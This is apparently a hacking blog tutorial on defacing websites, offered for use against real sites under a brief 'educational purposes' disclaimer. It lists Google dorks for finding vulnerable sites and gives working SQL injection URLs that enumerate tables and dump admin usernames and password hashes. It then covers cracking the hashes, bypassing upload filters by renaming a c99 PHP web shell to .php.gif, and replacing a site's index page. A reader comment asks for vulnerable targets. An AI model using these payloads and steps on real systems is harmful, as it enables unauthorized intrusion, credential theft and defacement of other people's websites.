HACKING STEP 13 - How to Deface Websites using SQL and Php scripting?

Now Our Todays Discussion is on " How to Deface Websites using the SQL injection and PHP shell code Scripting".. Today I will show you the 100% working method for Hacking Websites and then Defacing them...

Note: I and This Blog is Not responsible for any Misuse of these Tutorials. These are Just for Educational Purposes...So Don't Misuse Them!

Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)

Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.milw0rm.com/ .Most of the Part is written by me so if you have any doubts I will clear them....

1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries...

Here are some More Queries (use them without quotation marks)..

"comersus_listCategoriesAndProducts.asp?idCategory ="
"productlist.asp?ViewType=Category&CategoryID= "

Now The Admin password Hacking procedure starts:

You can also refer to my previous post of hacking websites:

Hacking websites : How to hack websites By using SQL Injection

1). Check for vulnerability

Let's say that we have some site like this


Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar that means the Site is vulnerable to SQL injection.

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no errorhttp://www.site.com/news.php?id=5 order by 2/* <-- no errorhttp://www.site.com/news.php?id=5 order by 3/* <-- no errorhttp://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function
With union we can select more data in one sql statement.

So we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .

4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this 
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .

What we need is convert() function

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version .

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

We know that table admin exists...

Now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 

i.e md5 hash, mysql hash, sha1...

Now we must complete query to look nice 

For that we can use concat() function (it joins strings)

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Now we get dislayed username:p
assword on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.

If can't guess the right table name, you can always try mysql.user (default)

It has user  password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.

for third table we put limit 2,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... 

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... 

If you wanna display column names for specific table use this query. (where clause)

Let's say that we found table users.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

Let's say that we found colums user, pass and email.

Now to complete query to put them all together.

For that we use concat() , i decribe it earlier.

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/

What we get here is user:p
ass:email from table users.

Example: admin:hash:whatever@blabla.com

** If you are too lazy for doing above stuff you can use tools they will do all the job:

1) Exploit scanner (this will find vulnerable websites)

2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)

*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. 

To crack the password there are three ways
1) Check the net whether this hash is cracked before:

2) Crack the password with the help of a site:


3) Use a MD5 cracking software:

Password = OwlsNest


After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.

1) You can use an admin finder website:

2) You can use an admin finder software:


After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

Dowload the shell here:

Extract it you will get a c99.php upload it.
Some sites wont allow you to upload a php file. so rename it as c99.php.gif
Then upload it.

After that go to 
http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)

find the c99.php.gif and click it..

Now you can see a big control pannel....
Now you can do what ever you want to do...
Search for the index.html file and replace it with your own file. 

So if any one goes to that site they will see your page....
After Doing This click on Logout and You are Done..


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electricsparks said...

i am unable to find vulnerable websites
please provide some vulnerable sites

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